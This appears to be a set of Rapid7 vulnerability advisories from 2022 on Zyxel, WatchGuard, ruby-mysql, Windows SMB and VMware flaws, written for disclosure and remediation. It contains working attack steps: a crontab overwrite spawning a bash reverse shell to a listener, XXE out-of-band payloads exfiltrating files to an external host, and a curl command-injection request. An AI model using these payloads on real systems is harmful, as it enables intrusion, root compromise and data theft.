/bin/rm -f
/bin/rm
/usr/bin/zip
/bin/mv
/bin/chmod 777 /tmp
/bin/cat
/bin/echo
/sbin/sysctl
/bin/dmesg
/usr/bin/killall -q -USR1 diagnosed
/usr/bin/killall -q -USR2 diagnosed
/usr/bin/killall -q -SYS diagnosed
/usr/bin/killall -9 resd
/usr/bin/killall -SIGUSR2 zyshd_wd
/bin/kill -0
/usr/bin/gdb
/bin/ls
/usr/bin/pmap
/bin/cp
/bin/chown
/bin/mkdir
/usr/local/bridge-util/brctl show
/bin/ping
/usr/sbin/ping6
/usr/sbin/sdwan_interface
/usr/bin/timeout 10s /usr/bin/openssl s_client -CAfile /share/ztp/certificate/ca_chain.pem -cert /share/ztp/certificate/edge_certificate.pem -key /share/ztp/certificate/edge_privkey.pem -host
/usr/bin/timeout 10s /usr/bin/openssl s_client -CAfile /share/ztp/certificate/ca_chain_f.pem -cert /share/ztp/certificate/edge_certificate_f.pem -key /share/ztp/certificate/edge_privkey_f.pem -host
/usr/sbin/usmgt m
/usr/sbin/usmgt u
/usr/bin/killall -SIGUSR1 pcap_monitor
/usr/bin/killall -SIGUSR2 pcap_monitor
/usr/local/bin/sdwan_log_backup.sh
/usr/bin/zykit_info -n
/usr/local/bin/speedtest
/usr/local/bin/speedtest-cli

The commands are executed using execv so command injection is a concern. The problem is that a few of these commands allow low-privileged attackers to overwrite files with arbitrary content. There are some other bad things in here (e.g. rm) but we’ll focus on file writing.

Much of the firewall’s filesystem is read-only squashfs. Simply modifying a binary that will be executed as root in /bin/, /sbin/ and the like isn’t an option. However, there is at least one file that an attacker can modify in order to reliably escalate to root: /var/zyxel/crontab.

/var/zyxel/crontab is the crontab file used by cron. An attacker can simply append a new job to the end of the crontab to get root privileges:

bash-5.1$ cp /var/zyxel/crontab /tmp/crontab
bash-5.1$ echo -en '#!/bin/bash\n\nexec bash -i &>/dev/tcp/10.0.0.28/1270 <&1\n' > /tmp/exec_me
bash-5.1$ chmod +x /tmp/exec_me
bash-5.1$ echo "* * * * * root /tmp/exec_me" >> /tmp/crontab
bash-5.1$ zysudo.suid /bin/cp /tmp/crontab /var/zyxel/crontab

Above the attacker copies the active crontab to /tmp/. Then they use echo to create a new script called /tmp/exec_me. The new script, when executed, will start a reverse shell to 10.0.0.28:1270. Execution of the new script is appended to /tmp/crontab. Then /var/zyxel/crontab is overwritten with the malicious /tmp/crontab using zysudo.suid. cron will execute the appended command as root within the next 60 seconds:

[email protected]:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.14 36836
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1# id
id
uid=0(root) gid=0(root) groups=0(root)
bash-5.1# uname -a
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
bash-5.1# 

CVE-2022-30525 Patch Adoption

CVE-2022-30526 is only useful when used with another vulnerability, such as CVE-2022-30525. Rapid7 has been monitoring patch adoption on Shodan since CISA added the vulnerability to their Known Exploited Vulnerabilities Catalog. We are happy to note that patch adoption has continued to rise over time.

CVE-2022-30526 (Fixed): Zyxel Firewall Local Privilege Escalation

Metasploit Module

A Metasploit module has been developed for this vulnerability. The module is best used in conjunction with the previously published Zyxel Firewall ZTP Unauthenticated Command Injection. The following video demonstrates escalation from nobody to root access:



CVE-2022-30526 (Fixed): Zyxel Firewall Local Privilege Escalation

Credit

These issues were discovered by Jake Baines of Rapid7, and they are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Remediation

Zyxel released a fix for this issue on July 19, 2022. Please see Zyxel’s advisory for detailed patching information.

Disclosure Timeline

April 2022 – Discovered by Jake Baines
April 13, 2022 – Rapid7 discloses to [email protected]. Proposed disclosure date June 14, 2022.
April 14, 2022 – Zyxel acknowledges receipt.
April 20, 2022 – Rapid7 asks for an update and shares delight over “Here is how to pronounce ZyXEL’s name”.
April 21, 2022 – Zyxel acknowledges reproduction of the vulnerabilities.
April 29, 2022 – Zyxel disputes that the LPE is a vulnerability, instead calls it “a design flaw.”
April 29, 2022 – Rapid7 asks about CVE assignment, guidance on coordinated disclosure, and for the vendor to reconsider their stance on the LPE.
May 9, 2022 – Zyxel indicates fixing the LPE will take time. Asks Rapid7 to hold full disclosure until November.
May 9, 2022 – Rapid7 informs Zyxel of the intent to disclose this issue on June 14, 2022.
May 10, 2022 – Zyxel acknowledges and plans to coordinate. Assigns CVE-2022-30526.
May 11, 2022 – Rapid7 reaffirms plan to wait until June 14.
May 12, 2022 – Zyxel catches accidental mentions of LPE in planned disclosure for CVE-2022-30525.
May 12, 2022 – Rapid7 removes the reference.
May 23, 2022 – Zyxel says they are pushing disclosure for CVE-2022-30526 out to July 19.
May 23, 2022 – Rapid7 agrees to July 19 disclosure date.
July 19, 2022 – Zyxel publishes their advisory.
July 19, 2022 – Rapid7 publishes this advisory.

CVE-2021-3779: Ruby-MySQL Gem Client File Read (FIXED)

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2022/06/28/cve-2021-3779-ruby-mysql-gem-client-file-read-fixed/

CVE-2021-3779: Ruby-MySQL Gem Client File Read (FIXED)

The ruby-mysql Ruby gem prior to version 2.10.0 maintained by Tomita Masahiro is vulnerable to an instance of CWE-610: Externally Controlled Reference to a Resource in Another Sphere, wherein a malicious MySQL server can request local file content from a client without explicit authorization from the user. The initial CVSSv3 estimate for this issue is 6.5. Note that this issue does not affect the much more popular mysql2 gem. This issue was fixed in ruby-mysql 2.10.0 on October 23, 2021, and users of ruby-mysql are urged to update.

Product description

The ruby-mysql Ruby gem is an implementation of a MySQL client. While it is far less popular than the mysql2 gem, it serves a particular niche audience of users that desire a pure Ruby implementation of MySQL client functionality without linking to an external library (as mysql2 does).

Credit

This issue was reported to Rapid7 by Hans-Martin Münch of MOGWAI LABS GmbH, initially as a Metasploit issue, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy after coordination with the upstream maintainer of this library, as well as JPCERT/CC and CERT/CC.

Exploitation

A malicious actor can read arbitrary files from a client that uses ruby-mysql to communicate to a rogue MySQL server and issue database queries. In these cases, the server has the option to create a database reply using the LOAD DATA LOCAL statement, which instructs the client to provide additional data from a local file readable by the client (and not a “local” file on the server). The easiest way to demonstrate this issue is to run an instance of Rogue-MySql-Server by Gifts and perform any database query using the vulnerable version of the mysql gem.

Note that this behavior is a defined and expected option for servers and is described in the documentation, quoted below:

Because LOAD DATA LOCAL is an SQL statement, parsing occurs on the server side, and transfer of the file from the client host to the server host is initiated by the MySQL server, which tells the client the file named in the statement. In theory, a patched server could tell the client program to transfer a file of the server’s choosing rather than the file named in the statement. Such a server could access any file on the client host to which the client user has read access. (A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL, so a more fundamental issue is that clients should not connect to untrusted servers.) [emphasis added]

So, the vulnerability is not so much a MySQL server or protocol issue, but a vulnerability in a client that does not at least provide an option to disable LOAD DATA LOCAL queries; this is the situation with version 2.9.14 and earlier versions of ruby-mysql.

There is also prior work on this type of issue, and interested readers should refer to Knownsec 404 Team‘s article describing the issue for a thorough understanding of the dangers of LOAD DATA LOCAL and untrusted MySQL servers.

Impact

As stated, this issue only affects Ruby-based MySQL clients that connect to malicious MySQL servers. The vast majority of clients already know who they’re connecting to, and while an attacker could poison DNS records or otherwise intercede in network traffic to capture unwitting clients, such network shenanigans will be foiled by routine security controls like SSL certificates. The true risk is posed only to those people who connect to random and unknown MySQL servers in unfamiliar environments.

In other words, penetration testers and other opportunistic MySQL attackers are most at risk from this kind of vulnerability. CVE-2021-3779 fits squarely in the category of “hacking the hackers,” where an aggressive honeypot is designed to lie in wait for wandering MySQL scanners and attackers and steal data local to those connecting clients.

This is the reason why Hans-Martin Münch of MOGWAI LABS GmbH first brought this to Rapid7’s attention as an issue in Metasploit. While Metasploit users are indeed the most at risk to falling victim to an exploit for this vulnerability, the underlying issue was quickly identified as one in the shared open-source library code that Metasploit depends on for managing MySQL connections to remote servers. (One such example is the MySQL hashdump auxiliary module.)

Remediation

Users who implement ruby-mysql should update their packaged gem with the latest version of ruby-mysql, as it has been fixed in version 2.10.0. The current version (as of this writing) is 3.0.0 and was released in November of 2021.

Users unable to update can patch around the issue by ensuring that CLIENT_LOCAL_FILES is disallowed by the client, similarly to how Metasploit Framework initially remediated this issue while waiting on a fix from the upstream maintainer.

Disclosure timeline

The astute reader will note a significant gap of several months between the fix release and this disclosure. This was a failure on my, Tod Beardsley’s, part, since I was handling this issue.

For the record, there was no intention to bury this vulnerability — after all, we communicated it to the Tomita (the maintainer), RubyGems (who pointed us in the direction of Rubysec, thanks André), CERT/CC, and JPCERT/CC, so hopefully the intention to disclose in a timely manner was and is obvious.

But a confluence of family tragedies and home-office technical disasters conspired with the usual complications of a multi-stakeholder, multi-continent effort to coordinate disclosure in open-source library code.

I am also acutely aware of the irony of this delay in light of my recent post on silent patches, and I offer apologies for that delay. I am committed to being better with backups, both of the data and human varieties.

Note that all dates are local to the United States (some dates may differ in Japan and Germany depending on the time of day).

  • August, 2021: Issue discovered by Hans-Martin Münch of MOGWAI LABS GmbH.
  • Thu, Sep 2, 2021: Issue reported to Rapid7’s security contact as a Metasploit issue, #9286.
  • Tue, Sep 7, 2021: Rapid7 validated the issue, reserved CVE-2021-3779, and contacted the vulnerable gem maintainer, Tomita Masahiro.
  • Tue, Sep 8, 2021: Metasploit Framework temporary remediation committed.
  • Tue, Sep 8, 2021: Notified CERT/CC and RubyGems for disclosure coordination, as the gem appeared to be abandoned by the maintainer given no updates in several years.
  • Tue, Sep 9, 2021: Notified JPCERT/CC through VINCE on CERT/CC’s advice, as VU#541053.
  • Thu, Sep 10, 2021: JPCERT/CC acknowledged the issue and attempted to contact the gem maintainer.
  • Mon, Oct 18, 2021: Maintainer responded to JPCERT/CC, acknowledging the issue.
  • Fri, Oct 22, 2021: Fixed version 2.10.0 released, Rapid7 notified Hans-Martin of the fix.
  • Wed, Feb 16, 2022: CERT/CC asks for an update on the issue, Rapid7 communicates the fix to CERT/CC and JPCERT/CC.
  • Tue, Jun 6, 2022: CERT/CC asks for an update, Rapid7 commits to sharing disclosure documentation.
  • Tue, Jun 14, 2022: Rapid7 shares disclosure details with CERT/CC and Hans-Martin, and asks JPCERT/CC to communicate this document to Tomita.
  • Tue, June 28, 2022: This public disclosure

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Additional reading:

CVE-2022-31749: WatchGuard Authenticated Arbitrary File Read/Write (Fixed)

Post Syndicated from Jake Baines original https://blog.rapid7.com/2022/06/23/cve-2022-31749-watchguard-authenticated-arbitrary-file-read-write-fixed/

CVE-2022-31749: WatchGuard Authenticated Arbitrary File Read/Write (Fixed)

A remote and low-privileged WatchGuard Firebox or XTM user can read arbitrary system files when using the SSH interface due to an argument injection vulnerability affecting the diagnose command. Additionally, a remote and highly privileged user can write arbitrary system files when using the SSH interface due to an argument injection affecting the import pac command. Rapid7 reported these issues to WatchGuard, and the vulnerabilities were assigned CVE-2022-31749. On June 23, Watchguard published an advisory and released patches in Fireware OS 12.8.1, 12.5.10, and 12.1.4.

Background

WatchGuard Firebox and XTM appliances are firewall and VPN solutions ranging in form factor from tabletop, rack mounted, virtualized, and “rugged” ICS designs. The appliances share a common underlying operating system named Fireware OS.

At the time of writing, there are more than 25,000 WatchGuard appliances with their HTTP interface discoverable on Shodan. There are more than 9,000 WatchGuard appliances exposing their SSH interface.

In February 2022, GreyNoise and CISA published details of WatchGuard appliances vulnerable to CVE-2022-26318 being exploited in the wild. Rapid7 discovered CVE-2022-31749 while analyzing the WatchGuard XTM appliance for the writeup of CVE-2022-26318 on AttackerKB.

Credit

This issue was discovered by Jake Baines of Rapid7, and it is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vulnerability details

CVE-2022-31749 is an argument injection into the ftpput and ftpget commands. The arguments are injected when the SSH CLI prompts the attacker for a username and password when using the diagnose or import pac commands. For example:

WG>diagnose to ftp://test/test
Name: username
Password: 

The “Name” and “Password” values are not sanitized before they are combined into the “ftpput” and “ftpget” commands and executed via librmisvc.so. Execution occurs using execle, so command injection isn’t possible, but argument injection is. Using this injection, an attacker can upload and download arbitrary files.

File writing turns out to be less useful than an attacker would hope. The problem, from an attacker point of view, is that WatchGuard has locked down much of the file system, and the user can only modify a few directories: /tmp/, /pending/, and /var/run. At the time of writing, we don’t see a way to escalate the file write into code execution, though we wouldn’t rule it out as a possibility.

The low-privileged user file read is interesting because WatchGuard has a built-in low-privileged user named status. This user is intended to “read-only” access to the system. In fact, historically speaking, the default password for this user was “readonly”. Using CVE-2022-31749 this low-privileged user can exfiltrate the configd-hash.xml file, which contains user password hashes when Firebox-DB is in use. Example:

<?xml version="1.0"?>
<users>
  <version>3</version>
  <user name="admin">
    <enabled>1</enabled>
    <hash>628427e87df42adc7e75d2dd5c14b170</hash>
    <domain>Firebox-DB</domain>
    <role>Device Administrator</role>
  </user>
  <user name="status">
    <enabled>1</enabled>
    <hash>dddbcb37e837fea2d4c321ca8105ec48</hash>
    <domain>Firebox-DB</domain>
    <role>Device Monitor</role>
  </user>
  <user name="wg-support">
    <enabled>0</enabled>
    <hash>dddbcb37e837fea2d4c321ca8105ec48</hash>
    <domain>Firebox-DB</domain>
    <role>Device Monitor</role>
  </user>
</users>

The hashes are just unsalted MD4 hashes. @funoverip wrote about cracking these weak hashes using Hashcat all the way back in 2013.

Exploitation

Rapid7 has published a proof of concept that exfiltrates the configd-hash.xml file via the diagnose command. The following video demonstrates its use against WatchGuard XTMv 12.1.3 Update 8.



CVE-2022-31749: WatchGuard Authenticated Arbitrary File Read/Write (Fixed)

Remediation

Apply the WatchGuard Fireware updates. If possible, remove internet access to the appliance’s SSH interface. Out of an abundance of caution, changing passwords after updating is a good idea.

Vendor statement

WatchGuard thanks Rapid7 for their quick vulnerability report and willingness to work through a responsible disclosure process to protect our customers. We always appreciate working with external researchers to identify and resolve vulnerabilities in our products and we take all reports seriously. We have issued a resolution for this vulnerability, as well as several internally discovered issues, and advise our customers to upgrade their Firebox and XTM products as quickly as possible. Additionally, we recommend all administrators follow our published best practices for secure remote management access to their Firebox and XTM devices.

Disclosure timeline

March, 2022: Discovered by Jake Baines of Rapid7
Mar 29, 2022: Reported to Watchguard via support phone, issue assigned case number 01676704.
Mar 29, 2022: Watchguard acknowledged follow-up email.
April 20, 2022: Rapid7 followed up, asking for progress.
April 21, 2022: WatchGuard acknowledged again they were researching the issue.
May 26, 2022: Rapid7 checked in on status of the issue.
May 26, 2022: WatchGuard indicates patches should be released in June, and asks about CVE assignment.
May 26, 2022: Rapid7 assigns CVE-2022-31749
June 23, 2022: This disclosure

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Additional reading:

CVE-2022-32230: Windows SMB Denial-of-Service Vulnerability (FIXED)

Post Syndicated from Spencer McIntyre original https://blog.rapid7.com/2022/06/14/cve-2022-32230-windows-smb-denial-of-service-vulnerability-fixed/

CVE-2022-32230: Windows SMB Denial-of-Service Vulnerability (FIXED)

A remote and unauthenticated attacker can trigger a denial-of-service condition on Microsoft Windows Domain Controllers by leveraging a flaw that leads to a null pointer deference within the Windows kernel. We believe this vulnerability would be scored as CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H or 7.5. This vulnerability was silently patched by Microsoft in April of 2022 in the same batch of changes that addressed the unrelated CVE-2022-24500 vulnerability.

Credit

This issue was fixed by Microsoft without disclosure in April 2022, but because it was originally classed as a mere stability bug fix, it did not go through the usual security issue process. In May, Spencer McIntyre of Rapid7 discovered this issue while researching the fix for CVE-2022-24500 and determined the security implications of CVE-2022-32230. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

CVE-2022-32230 is caused by a missing check in srv2!Smb2ValidateVolumeObjectsMatch to verify that a pointer is not null before reading a PDEVICE_OBJECT from it and passing it to IoGetBaseFileSystemDeviceObject. The following patch diff shows the function in question for Windows 10 21H2 (unpatched version 10.0.19041.1566 on the left).

CVE-2022-32230: Windows SMB Denial-of-Service Vulnerability (FIXED)

This function is called from the dispatch routine for an SMB2 QUERY_INFO request of the FILE_INFO / FILE_NORMALIZED_NAME_INFORMATION class. Per the docs in MS-SMB2 section 3.3.5.20.1 Handling SMB2_0_INFO_FILE, FILE_NORMALIZED_NAME_INFORMATION is only available when the dialect is 3.1.1.

For FileNormalizedNameInformation information class requests, if not supported by the server implementation<392>, or if Connection.Dialect is "2.0.2", "2.1" or "3.0.2", the server MUST fail the request with STATUS_NOT_SUPPORTED.

To trigger this code path, a user would open any named pipe from the IPC$ share and make a QUERY_INFO request for the FILE_NORMALIZED_NAME_INFORMATION class. This typically requires user permissions or a non-default configuration enabling guest access. This is not the case, however, for the noteworthy exception of domain controllers where there are multiple named pipes that can be opened anonymously, such as netlogon. An alternative named pipe that can be used but does typically require permissions is the srvsvc pipe.

Under normal circumstances, the FILE_NORMALIZED_NAME_INFORMATION class would be used to query the normalized name information of a file that exists on disk. This differs from the exploitation scenario which queries a named pipe.

A system that has applied the patch for this vulnerability will respond to the request with the error STATUS_NOT_SUPPORTED.

Proof of concept

A proof-of-concept Metasploit module is available on GitHub. It requires Metasploit version 6.2 or later.

Impact

The most likely impact of an exploit leveraging this vulnerability is a denial-of-service condition. Given the current state of the art of exploitation, it is assumed that a null pointer dereference in the Windows kernel is not remotely exploitable for the purpose of arbitrary code execution without combining it with another, unrelated vulnerability.

In the default configuration, Windows will automatically restart after a BSOD.

Remediation

It is recommended that system administrators apply the official patches provided by Microsoft in their April 2022 update. If that is not possible, restricting access and disabling SMB version 3 can help remediate this flaw.

Disclosure timeline

April 12th, 2022 – Microsoft patches CVE-2022-32230
April 29th, 2022 – Rapid7 finds and confirms the vulnerability while investigating CVE-2022-24500
May 4th, 2022 – Rapid7 contacts MSRC to clarify confusion regarding CVE-2022-32230
May 18th, 2022 – Microsoft responds to Rapid7, confirming that the vulnerability now identified as CVE-2022-32230 is different from the disclosed vulnerability CVE-2022-24500 with which it was patched
June 1, 2022 — Rapid7 reserves CVE-2022-32230 after discussing with Microsoft
June 14th, 2022 – Rapid7 releases details in this disclosure, and Microsoft publishes its advisory

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Additional reading:

CVE-2022-22977: VMware Guest Authentication Service LPE (FIXED)

Post Syndicated from Jake Baines original https://blog.rapid7.com/2022/05/24/cve-2022-22977-vmware-guest-authentication-service-lpe-fixed/

CVE-2022-22977: VMware Guest Authentication Service LPE (FIXED)

A low-privileged local attacker can prevent the VMware Guest Authentication service (VGAuthService.exe) from running in a guest Windows environment and can crash this service, thus rendering the guest unstable. In some very contrived circumstances, the attacker can leak file content to which they do not have read access. We believe this would be scored as CVSSv3 AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H or 6.1 and is an instance of CWE-73: External Control of File Name or Path.

Product description

The VMware Guest Authentication Service (VGAuthService.exe) is part of the VMware Tools suite of software used to provide integration services with other VMware services. It is commonly installed on Windows guest operating systems, though it appears that its only function is to mystify users when it fails.

Credit

This issue was discovered by Jake Baines of Rapid7. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

The versions of VMware host and guest operating systems are:

  • Host platform: MacOS Big Sur 11.6.1
  • Host software: VMware Fusion Professional 12.2.1 (18811640)
  • Virtualized platform: Windows 10.0.17763.1999 and Windows Server 2019
  • Vulnerable software: VGAuthService.exe (VMware Guest Authentication Service) “File version: 11.3.5.59284”, “Product version 1.0.0. Build-18556986”

Once running, the VMware Guest Authentication Service (VGAuthService.exe) is a service running with NT AUTHORITY/SYSTEM permissions and attempts to read files from the non-existent directory C:\Program%20Files\VMware\VMware%20Tools\ during start-up.

CVE-2022-22977: VMware Guest Authentication Service LPE (FIXED)

A low-privileged user can create this directory structure and cause VGAuthService.exe to read attacker controlled files. The files that the attacker controls are “catalog”, “xmldsig-core-schema.xsd”, and “xenc-schema.xsd”. These files are used to define the XML structure used to communicate with VGAuthService.exe.

However, actually modifying the structure of these files seems to have limited effects on VGAuthService.exe. Below, we describe a denial of service (which could take a number of forms) and a file content leak via XML External Entity.

Impact

The most likely impact of an exploit leveraging this vulnerability is a denial-of-service condition, and there is a remote possibility of privileged file content exfiltration.

Denial of service

A low-privileged user can prevent the service from starting by providing a malformed catalog file. For example, creating the file C:\Program%20Files\VMware\VMware%20Tools\etc\catalog with the contents of:

<?xml version="1.0"?>
<!DOCTYPE catalog PUBLIC "-//OASIS//DTD Entity Resolution XML Catalog V1.0//EN" "http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd">
<catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog">
  <uri name="http://www.w3.org/TR/2002/REC-xmldsig-core-20020212/xmldsig-core-schema.xsd" uri="xmldsig-core-schema.xsd"/>
  <uri name="http://www.w3.org/TR/2002/REC-xmlenc-core-20021210/xenc-schema.xsd" uri="\\10.0.0.2\fdsa\xenc-schema.xsd"/>
</catalog>

Will simply prevent the service from ever running due to the malformed uri field. The VGAuthService log file in C:\ProgramData\VMware\VMware VGAuth\logfile.txt.0 will contain this line:

[2022-02-01T14:03:50.100Z] [ warning] [VGAuthService] XML Error: uri entry 'uri' broken ?: \\10.0.0.2\fdsa\xenc-schema.xsd

After the “malicious” file is created, the system must be rebooted (or the service restarted). Until this happens, some remote tooling for the VMware guest will not function properly.

File content exfiltration via XML external entity (XXE) attacks, and the limitations thereof

VGAuthService uses XML libraries (libxmlsec and libxml2) that have XML External Entity processing capabilities. Because the attacker controls various XML files parsed by the service, the attacker in theory can execute XXE injection and XXE out-of-band (OOB) attacks to leak files that a low-privileged user can’t read (e.g. C:\windows\win.ini).

It is true that these styles of attacks do work against VGAuthService.exe, but there is a severe limitation. Traditionally, an XXE OOB attack leaks the file of the attackers choosing via an HTTP or FTP uri. For example, “http://attackurl:80/endpoint?FILEDATA” where FILEDATA is the contents of the file. However, the XML library that VGAuthService.exe is using, libxml2, is very strict about properly formatted URI and any space character or newline will cause the exfiltration to fail. For example, let’s say we wanted to perform an XXE OOB attack and leak the contents of C:\Windows\win.ini. I’d create the following file at C:\Program%20Files\VMware\VMware%20Tools\etc\catalog

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://10.0.0.2/r7.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

And then we’d create the file r7.dtd on 10.0.0.2:

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.0.0.2/xxe?%data;'>">

And server the r7.dtd file via a python server on 10.0.0.2:

[email protected]:~/oob$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Once the attack is triggered, VGAuthService.exe will make quite a few HTTP requests to the attackers HTTP server:

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -

But notice that none of those HTTP requests contain the contents of win.ini. To see why, let’s take a look at VGAuthService’s log file.

[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: parser 
[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: error : 
[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: Invalid URI: http:///10.0.0.2/xxe?; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

Here, we can see the contents of win.ini have been appended to http://10.0.0.2/xxe? and that has caused the XML library to error out due to an invalid URI. So we can’t leak win.ini over the network, but we were able to write it to VGAuthService’s log. Unfortunately (or fortunately, for defenders), the log file is only readable by administrative users, so leaking the contents of win.ini to the log file is no good for an attack.

An attacker can leak a file as long as it can be used to form a valid URI. I can think of one very specific case where ManageEngine has a “user” saved to file as “0:verylongpassword” where this could work. But that’s super specific. Either way, we can recreate this like so:

C:\>echo|set /p="helloworld" > r7.txt

C:\>type r7.txt
helloworld
C:\>

We then do the same attack as above, but instead of <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> we do <!ENTITY % data SYSTEM "file:///c:/r7.txt">

After executing the attack, we’ll see this on our HTTP server:

10.0.0.88 - - [01/Feb/2022 07:25:05] "GET /xxe?helloworld HTTP/1.0" 404 -

While this is technically a low-privileged user leaking a file, it is quite contrived, and honestly an unlikely scenario.

Another common XXE attack is leaking NTLM hashes, but libxml2 doesn’t honor UNC paths so that isn’t a possibility. So, in conclusion, the low-privileged attacker can only deny access to the service and, very occasionally, leak privileged files.

Remediation

VMware administrators who expect low-privileged, untrusted users to interact directly with the guest operating system should apply the patch at their convenience to avoid the denial-of-service condition. As stated above, the likelihood of anyone exploiting this vulnerability to exfiltrate secrets from the guest operating system is quite low, but if those circumstances apply to your environment, more urgency in patching is warranted.

In the absence of a patch, VMware administrators can create the missing directory with write permissions limited to administrators, and this should mitigate the issue entirely.

Disclosure timeline

  • February, 2022: Issue discovered by Jake Baines of Rapid7
  • Thu, Feb 24, 2022: Initial disclosure to [email protected]
  • Thu, Feb 24, 2022: Issue tracked as VSRC-10022.
  • Wed, Mar 02, 2022: Vendor asks for an extension beyond original April disclosure date
  • Mon, May 23, 2022: CVE-2022-22977 reserved by the vendor
  • Tue, May 24, 2022: This disclosure, as well as the vendor’s disclosure published

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Additional reading:

CVE-2022-30525 (FIXED): Zyxel Firewall Unauthenticated Remote Command Injection

Post Syndicated from Jake Baines original https://blog.rapid7.com/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/

CVE-2022-30525 (FIXED): Zyxel Firewall Unauthenticated Remote Command Injection

Rapid7 discovered and reported a vulnerability that affects Zyxel firewalls supporting Zero Touch Provisioning (ZTP), which includes the ATP series, VPN series, and the USG FLEX series (including USG20-VPN and USG20W-VPN). The vulnerability, identified as CVE-2022-30525, allows an unauthenticated and remote attacker to achieve arbitrary code execution as the nobody user on the affected device.

The following table contains the affected models and firmware versions.

Affected Model Affected Firmware Version
USG FLEX 100, 100W, 200, 500, 700 ZLD5.00 thru ZLD5.21 Patch 1
USG20-VPN, USG20W-VPN ZLD5.10 thru ZLD5.21 Patch 1
ATP 100, 200, 500, 700, 800 ZLD5.10 thru ZLD5.21 Patch 1

The VPN series, which also supports ZTP, is not vulnerable because it does not support the required functionality.

Product description

The affected firewalls are advertised for both small branch and corporate headquarter deployments. They offer VPN solutions, SSL inspection, web filtering, intrusion protection, and email security, and advertise up to 5 Gbps throughput through the firewall.

The affected models are relatively popular, with more than 15,000 visible on Shodan.

CVE-2022-30525 (FIXED): Zyxel Firewall Unauthenticated Remote Command Injection

CVE-2022-30525: Unauthenticated remote command injection

The affected models are vulnerable to unauthenticated and remote command injection via the administrative HTTP interface. Commands are executed as the nobody user. This vulnerability is exploited through the /ztp/cgi-bin/handler URI and is the result of passing unsanitized attacker input into the os.system method in lib_wan_settings.py. The vulnerable functionality is invoked in association with the setWanPortSt command. An attacker can inject arbitrary commands into the mtu or the data parameter. Below is an example curl that will cause the firewall to execute ping 192.168.1.220:

curl -v --insecure -X POST -H "Content-Type: application/json" -d
'{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
:"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
https://192.168.1.1/ztp/cgi-bin/handler

On the firewall, the ps output looks like the following:

nobody   11040  0.0  0.2  21040  5152 ?        S    Apr10   0:00  \_ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
nobody   16052 56.4  0.6  18104 11224 ?        S    06:16   0:02  |   \_ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py
